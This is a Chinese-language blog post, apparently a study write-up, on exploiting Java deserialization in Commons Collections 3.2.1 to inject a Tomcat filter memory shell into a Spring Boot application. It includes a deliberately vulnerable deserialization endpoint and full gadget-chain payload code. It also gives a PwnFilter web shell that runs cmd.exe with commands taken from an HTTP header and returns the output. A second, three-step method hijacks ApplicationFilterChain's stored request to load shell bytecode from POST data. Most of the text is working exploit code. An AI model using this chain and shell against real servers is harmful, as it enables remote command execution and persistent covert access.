前言
学习。
环境搭建
Web服务端
CC3依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
反序列化接口:
@RequestMapping("/deserialize")
public String deserialize(@RequestParam(value = "s")String s, Model model) {
System.out.println(s);
try {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
model.addAttribute("res", obj.getClass().getName());
}catch (Exception e) {
// pass
}
return "deserialize";
}
Payload生成端
cc3、javassist和tomcat依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.65</version>
</dependency>
生成序列化对象,通过调用TemplatesImpl类的defineTransletClasses函数的方式可以在服务端远程导入内存马类:
_class[i] = loader.defineClass(_bytecodes[i]);
但是为了不抛出异常,该类需要继承自AbstractTranslet:
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
将生成序列化对象的代码和内存马分离:
private static TemplatesImpl getTemplatesImpl() throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(PwnFilter.class.getName());
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl poc = new TemplatesImpl();
Utils.setField(poc, "_bytecodes", new byte[][]{classBytes});
Utils.setField(poc, "_name", "Pwn");
Utils.setField(poc, "_tfactory", TransformerFactoryImpl.newInstance());
return poc;
}
private static Transformer getChainedInstantiateTransformer(Object poc) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{poc}),
};
return new ChainedTransformer(transformers);
}
public static Object getObject() throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException {
Object poc = getTemplatesImpl();
Transformer transformerChain = getChainedInstantiateTransformer(poc);
Map<String, String> map = new HashMap<>();
map.put("Aluvion", "Twings");
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.setField(badAttributeValueExpException, "val", entry);
return badAttributeValueExpException;
}
注入内存马的代码可以写在static代码块,也可以写在无参构造函数中:
public class PwnFilter implements Serializable, Filter {
static {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
StandardRoot resources = null;
try {
Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
f.setAccessible(true);
resources = (StandardRoot)f.get(cl);
}catch (Exception e) {
// pass
}
if (resources != null) {
System.out.println(resources.getClass().getName());
StandardContext context = (StandardContext)resources.getContext();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new PwnFilter());
filterDef.setFilterName("filterShell");
context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("filterShell");
filterMap.addURLPattern("/filterShell");
context.addFilterMap(filterMap);
context.filterStart();
}else {
System.out.println("Failed...");
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
response.getWriter().write(new String(result));
} catch (Exception e) {
// pass
}
}
}
注入内存马
需要发两个包,首先生成序列化数据,然后交给接口触发反序列化漏洞,导入类的同时将内存马注入到了SpringBoot服务中:
然后再发包访问内存马执行命令并得到回显:
另一种Context获取方式
想要注入Filter内存马就要先获取到Context,而在执行过程中,Tomcat会通过ApplicationFilterChain访问Filter链,其存在两个static属性,通过反射可以访问:
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
还有一个同样是static的布尔属性成员WRAP_SAME_OBJECT,当该成员的值为true时,ApplicationFilterChain类的internalDoFilter函数会有一些特殊的处理方式:
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
该internalDoFilter函数会在执行过程中被调用,并进入service()函数交予SpringBoot控制器代码,所以交给反序列化时还不会触发后续的重置操作:
finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
同时由于Context会在Request中保存,因此可以通过修改WRAP_SAME_OBJECT的方式,让ApplicationFilterChain类帮我们把Request保存起来。
这种方式最大的问题就是长度很容易超出上限,所以分成三步进行,第一步修改WRAP_SAME_OBJECT:
public class GetContext {
public GetContext() {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>)lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}
}catch (Exception e) {
// pass
}
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
}
此时可以在ApplicationFilterChain的静态成员中获取Request和Context,第二步就可以注入内存马,由于HTTP对Header和URI长度有限制,因此将内存马和注入代码放在POST数据中,再从Request中取出:
public class InjectFilter {
static {
try {
Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)f.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
StringBuilder sb = new StringBuilder();
BufferedReader br = servletRequest.getReader();
String str;
while ((str = br.readLine()) != null) {
sb.append(str);
}
System.out.println(sb.toString());
byte[] payload = Base64.getDecoder().decode(sb.toString());
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
clazz.newInstance();
}catch (Exception e) {
// pass
}
}
}
同时将内存马的字节码放在POST数据体里:
public class PwnFilter implements Serializable, Filter {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext)context1.get(applicationContext);
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new PwnFilter());
filterDef.setFilterName("filterShell");
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("filterShell");
filterMap.addURLPattern("/filterShell");
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
}catch (Exception e) {
// pass
}
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
try {
String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
response.getWriter().write(new String(result));
} catch (Exception e) {
// pass
}
}
}
需要读取字节码然后BASE64一下方便传输:
public static byte[] getBytes() throws CannotCompileException, NotFoundException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(PwnFilter.class.getName());
return clazz.toBytecode();
}
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!